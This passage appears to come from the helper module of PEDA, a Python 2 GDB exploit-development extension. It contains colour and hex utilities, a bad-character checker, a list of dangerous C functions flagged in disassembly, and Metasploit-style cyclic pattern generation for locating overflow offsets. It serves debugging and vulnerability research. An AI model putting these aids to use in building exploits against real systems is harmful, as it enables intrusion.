||||
self.__doc__ = inspect.getdoc(self.func)
|
||||
|
||||
def __call__(self, *args, **kwargs):
|
||||
try:
|
||||
return self.cache[(self.func, self.instance, args) + tuple(kwargs.items())]
|
||||
except KeyError:
|
||||
if self.instance is None:
|
||||
value = self.func(*args, **kwargs)
|
||||
else:
|
||||
value = self.func(self.instance, *args, **kwargs)
|
||||
self.cache[(self.func, self.instance, args) + tuple(kwargs.items())] = value
|
||||
return value
|
||||
except TypeError:
|
||||
# uncachable -- for instance, passing a list as an argument.
|
||||
# Better to not cache than to blow up entirely.
|
||||
if self.instance is None:
|
||||
return self.func(*args, **kwargs)
|
||||
else:
|
||||
return self.func(self.instance, *args, **kwargs)
|
||||
|
||||
def __repr__(self):
|
||||
"""Return the function's docstring."""
|
||||
return self.__doc__
|
||||
|
||||
def __get__(self, obj, objtype):
|
||||
"""Support instance methods."""
|
||||
if obj is None:
|
||||
return self
|
||||
else:
|
||||
self.instance = obj
|
||||
return self
|
||||
|
||||
def _reset(self):
|
||||
"""Reset the cache"""
|
||||
for cached in self.cache.keys():
|
||||
if cached[0] == self.func and cached[1] == self.instance:
|
||||
del self.cache[cached]
|
||||
|
||||
def reset_cache(module=None):
|
||||
"""
|
||||
Reset memoized caches of an instance/module
|
||||
"""
|
||||
if module is None:
|
||||
module = sys.modules['__main__']
|
||||
|
||||
for m in dir(module):
|
||||
m = getattr(module, m)
|
||||
if isinstance(m, memoized):
|
||||
m._reset()
|
||||
else:
|
||||
for f in dir(m):
|
||||
f = getattr(m, f)
|
||||
if isinstance(f, memoized):
|
||||
f._reset()
|
||||
|
||||
return True
|
||||
|
||||
def tmpfile(pref="peda-"):
|
||||
"""Create and return a temporary file with custom prefix"""
|
||||
return tempfile.NamedTemporaryFile(prefix=pref)
|
||||
|
||||
def colorize(text, color=None, attrib=None):
|
||||
"""
|
||||
Colorize text using ansicolor
|
||||
ref: https://github.com/hellman/libcolors/blob/master/libcolors.py
|
||||
"""
|
||||
# ansicolor definitions
|
||||
COLORS = {"black": "30", "red": "31", "green": "32", "yellow": "33",
|
||||
"blue": "34", "purple": "35", "cyan": "36", "white": "37"}
|
||||
CATTRS = {"regular": "0", "bold": "1", "underline": "4", "strike": "9",
|
||||
"light": "1", "dark": "2", "invert": "7"}
|
||||
CPRE = '\033['
|
||||
CSUF = '\033[0m'
|
||||
|
||||
if config.Option.get("ansicolor") != "on":
|
||||
return text
|
||||
|
||||
ccode = ""
|
||||
if attrib:
|
||||
for attr in attrib.lower().split():
|
||||
attr = attr.strip(",+|")
|
||||
if attr in CATTRS:
|
||||
ccode += ";" + CATTRS[attr]
|
||||
if color in COLORS:
|
||||
ccode += ";" + COLORS[color]
|
||||
return CPRE + ccode + "m" + text + CSUF
|
||||
|
||||
def green(text, attrib=None):
|
||||
"""Wrapper for colorize(text, 'green')"""
|
||||
return colorize(text, "green", attrib)
|
||||
|
||||
def red(text, attrib=None):
|
||||
"""Wrapper for colorize(text, 'red')"""
|
||||
return colorize(text, "red", attrib)
|
||||
|
||||
def yellow(text, attrib=None):
|
||||
"""Wrapper for colorize(text, 'yellow')"""
|
||||
return colorize(text, "yellow", attrib)
|
||||
|
||||
def blue(text, attrib=None):
|
||||
"""Wrapper for colorize(text, 'blue')"""
|
||||
return colorize(text, "blue", attrib)
|
||||
|
||||
def msg(text, color=None, attrib=None, teefd=None):
|
||||
"""
|
||||
Generic pretty printer with redirection
|
||||
"""
|
||||
if not teefd:
|
||||
teefd = config.Option.get("_teefd")
|
||||
|
||||
if isinstance(text, str) and "\x00" not in text:
|
||||
print colorize(text, color, attrib)
|
||||
if teefd:
|
||||
print >> teefd, colorize(text, color, attrib)
|
||||
else:
|
||||
pprint.pprint(text)
|
||||
if teefd:
|
||||
pprint.pprint(text, teefd)
|
||||
|
||||
def warning_msg(text):
|
||||
"""Colorize warning message with prefix"""
|
||||
msg(colorize("Warning: " + text, "yellow"))
|
||||
|
||||
def error_msg(text):
|
||||
"""Colorize error message with prefix"""
|
||||
msg(colorize("Error: " + text, "red"))
|
||||
|
||||
def debug_msg(text):
|
||||
"""Colorize debug message with prefix"""
|
||||
msg(colorize("Debug: " + text, "blue"))
|
||||
|
||||
def trim(docstring):
|
||||
"""
|
||||
Handle docstring indentation, ref: PEP257
|
||||
"""
|
||||
if not docstring:
|
||||
return ''
|
||||
# Convert tabs to spaces (following the normal Python rules)
|
||||
# and split into a list of lines:
|
||||
lines = docstring.expandtabs().splitlines()
|
||||
# Determine minimum indentation (first line doesn't count):
|
||||
indent = sys.maxint
|
||||
for line in lines[1:]:
|
||||
stripped = line.lstrip()
|
||||
if stripped:
|
||||
indent = min(indent, len(line) - len(stripped))
|
||||
# Remove indentation (first line is special):
|
||||
trimmed = [lines[0].strip()]
|
||||
if indent < sys.maxint:
|
||||
for line in lines[1:]:
|
||||
trimmed.append(line[indent:].rstrip())
|
||||
# Strip off trailing and leading blank lines:
|
||||
while trimmed and not trimmed[-1]:
|
||||
trimmed.pop()
|
||||
while trimmed and not trimmed[0]:
|
||||
trimmed.pop(0)
|
||||
# Return a single string:
|
||||
return '\n'.join(trimmed)
|
||||
|
||||
def pager(text, pagesize=None):
|
||||
"""
|
||||
Paging output, mimic external command less/more
|
||||
"""
|
||||
i = 1
|
||||
text = text.splitlines()
|
||||
l = len(text)
|
||||
|
||||
if not pagesize:
|
||||
pagesize = config.Option.get("pagesize")
|
||||
for line in text:
|
||||
msg(line)
|
||||
if i % pagesize == 0:
|
||||
ans = raw_input("--More--(%d/%d)" % (i, l))
|
||||
if ans.lower().strip() == "q":
|
||||
break
|
||||
i += 1
|
||||
|
||||
return
|
||||
|
||||
def execute_external_command(command, cmd_input=None):
|
||||
"""
|
||||
Execute external command and capture its output
|
||||
|
||||
Args:
|
||||
- command (String)
|
||||
|
||||
Returns:
|
||||
- output of command (String)
|
||||
"""
|
||||
result = ""
|
||||
P = Popen([command], stdout=PIPE, stdin=PIPE, shell=True)
|
||||
(result, err) = P.communicate(cmd_input)
|
||||
if err:
|
||||
msg(err)
|
||||
return result
|
||||
|
||||
def is_printable(text, printables=""):
|
||||
"""
|
||||
Check if a string is printable
|
||||
"""
|
||||
return (set(str(text)) - set(string.printable + printables) == set())
|
||||
|
||||
def is_math_exp(str):
|
||||
"""
|
||||
Check if a string is a math exprssion
|
||||
"""
|
||||
charset = set("0123456789abcdefx+-*/%^")
|
||||
opers = set("+-*/%^")
|
||||
exp = set(str.lower())
|
||||
return (exp & opers != set()) and (exp - charset == set())
|
||||
|
||||
def normalize_argv(args, size=0):
|
||||
"""
|
||||
Normalize argv to list with predefined length
|
||||
"""
|
||||
args = list(args)
|
||||
for (idx, val) in enumerate(args):
|
||||
if to_int(val) is not None:
|
||||
args[idx] = to_int(val)
|
||||
if size and idx == size:
|
||||
return args[:idx]
|
||||
|
||||
if size == 0:
|
||||
return args
|
||||
for i in range(len(args), size):
|
||||
args += [None]
|
||||
return args
|
||||
|
||||
def to_hexstr(str):
|
||||
"""
|
||||
Convert a string to hex escape represent
|
||||
"""
|
||||
return "".join(["\\x%02x" % ord(i) for i in str])
|
||||
|
||||
def to_hex(num):
|
||||
"""
|
||||
Convert a number to hex format
|
||||
"""
|
||||
if num < 0:
|
||||
return "-0x%x" % (-num)
|
||||
else:
|
||||
return "0x%x" % num
|
||||
|
||||
def to_address(num):
|
||||
"""
|
||||
Convert a number to address format in hex
|
||||
"""
|
||||
if num < 0:
|
||||
return to_hex(num)
|
||||
if num > 0xffffffff: # 64 bit
|
||||
return "0x%016x" % num
|
||||
else:
|
||||
return "0x%08x" % num
|
||||
|
||||
def to_int(val):
|
||||
"""
|
||||
Convert a string to int number
|
||||
"""
|
||||
try:
|
||||
return int(str(val), 0)
|
||||
except:
|
||||
return None
|
||||
|
||||
def str2hex(str):
|
||||
"""
|
||||
Convert a string to hex encoded format
|
||||
"""
|
||||
result = str.encode('hex')
|
||||
return result
|
||||
|
||||
def hex2str(hexnum):
|
||||
"""
|
||||
Convert a number in hex format to string
|
||||
"""
|
||||
if not isinstance(hexnum, str):
|
||||
hexnum = to_hex(hexnum)
|
||||
s = hexnum[2:]
|
||||
if len(s) % 2 != 0:
|
||||
s = "0" + s
|
||||
result = s.decode('hex')[::-1]
|
||||
return result
|
||||
|
||||
def int2hexstr(num, intsize=4):
|
||||
"""
|
||||
Convert a number to hexified string
|
||||
"""
|
||||
if intsize == 8:
|
||||
if num < 0:
|
||||
result = struct.pack("<q", num)
|
||||
else:
|
||||
result = struct.pack("<Q", num)
|
||||
else:
|
||||
if num < 0:
|
||||
result = struct.pack("<l", num)
|
||||
else:
|
||||
result = struct.pack("<L", num)
|
||||
return result
|
||||
|
||||
def list2hexstr(intlist, intsize=4):
|
||||
"""
|
||||
Convert a list of number/string to hexified string
|
||||
"""
|
||||
result = ""
|
||||
for value in intlist:
|
||||
if isinstance(value, str):
|
||||
result += value
|
||||
else:
|
||||
result += int2hexstr(value, intsize)
|
||||
return result
|
||||
|
||||
def str2intlist(data, intsize=4):
|
||||
"""
|
||||
Convert a string to list of int
|
||||
"""
|
||||
result = []
|
||||
data = data.decode('string_escape')[::-1]
|
||||
l = len(data)
|
||||
data = ("\x00" * (intsize - l%intsize) + data) if l%intsize != 0 else data
|
||||
for i in range(0, l, intsize):
|
||||
if intsize == 8:
|
||||
val = struct.unpack(">Q", data[i:i+intsize])[0]
|
||||
else:
|
||||
val = struct.unpack(">L", data[i:i+intsize])[0]
|
||||
result = [val] + result
|
||||
return result
|
||||
|
||||
@memoized
|
||||
def check_badchars(data, chars=None):
|
||||
"""
|
||||
Check an address or a value if it contains badchars
|
||||
"""
|
||||
if to_int(data) is None:
|
||||
to_search = data
|
||||
else:
|
||||
data = to_hex(to_int(data))[2:]
|
||||
if len(data) % 2 != 0:
|
||||
data = "0" + data
|
||||
to_search = data.decode('hex')
|
||||
|
||||
if not chars:
|
||||
chars = config.Option.get("badchars")
|
||||
|
||||
if chars:
|
||||
for c in chars:
|
||||
if c in to_search:
|
||||
return True
|
||||
return False
|
||||
|
||||
@memoized
|
||||
def format_address(addr, type):
|
||||
"""Colorize an address"""
|
||||
colorcodes = {
|
||||
"data": "blue",
|
||||
"code": "red",
|
||||
"rodata": "green",
|
||||
"value": None
|
||||
}
|
||||
return colorize(addr, colorcodes[type])
|
||||
|
||||
@memoized
|
||||
def format_reference_chain(chain):
|
||||
"""
|
||||
Colorize a chain of references
|
||||
"""
|
||||
v = t = vn = None
|
||||
text = ""
|
||||
if not chain:
|
||||
text += "Cannot access memory address"
|
||||
else:
|
||||
first = 1
|
||||
for (v, t, vn) in chain:
|
||||
if t != "value":
|
||||
text += "%s%s " % ("--> " if not first else "", format_address(v, t))
|
||||
else:
|
||||
text += "%s%s " % ("--> " if not first else "", v)
|
||||
first = 0
|
||||
|
||||
if vn:
|
||||
text += "(%s)" % vn
|
||||
else:
|
||||
if v != "0x0":
|
||||
s = hex2str(v)
|
||||
if is_printable(s, "\x00"):
|
||||
text += "(%s)" % repr(s.split("\x00")[0])
|
||||
return text
|
||||
|
||||
# vulnerable C functions, source: rats/flawfinder
|
||||
VULN_FUNCTIONS = [
|
||||
"exec", "system", "gets", "popen", "getenv", "strcpy", "strncpy", "strcat", "strncat",
|
||||
"memcpy", "bcopy", "printf", "sprintf", "snprintf", "scanf", "getchar", "getc", "read",
|
||||
"recv", "tmp", "temp"
|
||||
]
|
||||
@memoized
|
||||
def format_disasm_code(code, nearby=None):
|
||||
"""
|
||||
Format output of disassemble command with colors to highlight:
|
||||
- dangerous functions (rats/flawfinder)
|
||||
- branching: jmp, call, ret
|
||||
- testing: cmp, test
|
||||
|
||||
Args:
|
||||
- code: input asm code (String)
|
||||
- nearby: address for nearby style format (Int)
|
||||
|
||||
Returns:
|
||||
- colorized text code (String)
|
||||
"""
|
||||
colorcodes = {
|
||||
"cmp": "red",
|
||||
"test": "red",
|
||||
"call": "green",
|
||||
"j": "yellow", # jump
|
||||
"ret": "blue",
|
||||
}
|
||||
result = ""
|
||||
|
||||
if not code:
|
||||
return result
|
||||
|
||||
if to_int(nearby) is not None:
|
||||
target = to_int(nearby)
|
||||
else:
|
||||
target = 0
|
||||
|
||||
for line in code.splitlines():
|
||||
if ":" not in line: # not an assembly line
|
||||
result += line + "\n"
|
||||
else:
|
||||
color = style = None
|
||||
m = re.search(".*(0x[^ ]*).*:\s*([^ ]*)", line)
|
||||
if not m: # failed to parse
|
||||
result += line + "\n"
|
||||
continue
|
||||
addr, opcode = to_int(m.group(1)), m.group(2)
|
||||
for c in colorcodes:
|
||||
if c in opcode:
|
||||
color = colorcodes[c]
|
||||
if c == "call":
|
||||
for f in VULN_FUNCTIONS:
|
||||
if f in line.split(":", 1)[1]:
|
||||
style = "bold, underline"
|
||||
color = "red"
|
||||
break
|
||||
break
|
||||
|
||||
prefix = line.split(":")[0]
|
||||
addr = re.search("(0x[^\s]*)", prefix)
|
||||
if addr:
|
||||
addr = to_int(addr.group(1))
|
||||
else:
|
||||
addr = -1
|
||||
line = line.split(":", 1)[1]
|
||||
if addr < target:
|
||||
style = "dark"
|
||||
elif addr == target:
|
||||
style = "bold"
|
||||
color = "green"
|
||||
|
||||
code = colorize(line.split(";")[0], color, style)
|
||||
if ";" in line:
|
||||
comment = colorize(";" + line.split(";", 1)[1], color, "dark")
|
||||
else:
|
||||
comment = ""
|
||||
line = "%s:%s%s" % (prefix, code, comment)
|
||||
result += line + "\n"
|
||||
|
||||
return result.rstrip()
|
||||
|
||||
@memoized
|
||||
def cyclic_pattern(size=None, type=None):
|
||||
"""
|
||||
Generate a Metasploit style cyclic pattern
|
||||
|
||||
Args:
|
||||
- size: size of generated pattern (Int)
|
||||
- type: charset type
|
||||
0: basic type
|
||||
1: extended type (default)
|
||||
|
||||
Returns:
|
||||
- pattern text (String)
|
||||
"""
|
||||
char1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
char2 = "abcdefghijklmnopqrstuvwxyz"
|
||||
char3 = "0123456789"
|
||||
char2_ext = "%$-"
|
||||
char3_ext = "sn();"
|
||||
|
||||
if size is None:
|
||||
size = 20000
|
||||
|
||||
if not type:
|
||||
type = config.Option.get("pattern")
|
||||
|
||||
if type == 1: # extended type
|
||||
char2 = char2_ext + char2
|
||||
char3 = char3_ext + char3
|
||||
|
||||
pattern = ""
|
||||
allchars = itertools.product(char1, char2, char3)
|
||||
count = 0
|
||||
for p in allchars:
|
||||
pattern += "".join(p)
|
||||
if count > size:
|
||||
break
|
||||
count += 3
|
||||
|
||||
return pattern[:size]
|
||||
|
||||
@memoized
|
||||
def cyclic_pattern_offset(value, size=None, type=None):
|
||||
"""
|
||||
Search a value if it is a part of Metasploit style cyclic pattern
|
||||
|
||||
Args:
|
||||
- value: value to search for (String/Int)
|
||||
- size: size of generated pattern (Int)
|
||||
- type: charset type
|
||||
0: basic type
|
||||
1: extended type (default)
|
||||
|
||||
Returns:
|
||||
- offset in pattern if found
|
||||
"""
|
||||
pattern = cyclic_pattern(size, type)
|
||||
if to_int(value) is None:
|
||||
search = value
|
||||
else:
|
||||
search = hex2str(to_int(value))
|
||||
|
||||
pos = pattern.find(search)
|
||||
return pos if pos != -1 else None
|
Loading…
Reference in New Issue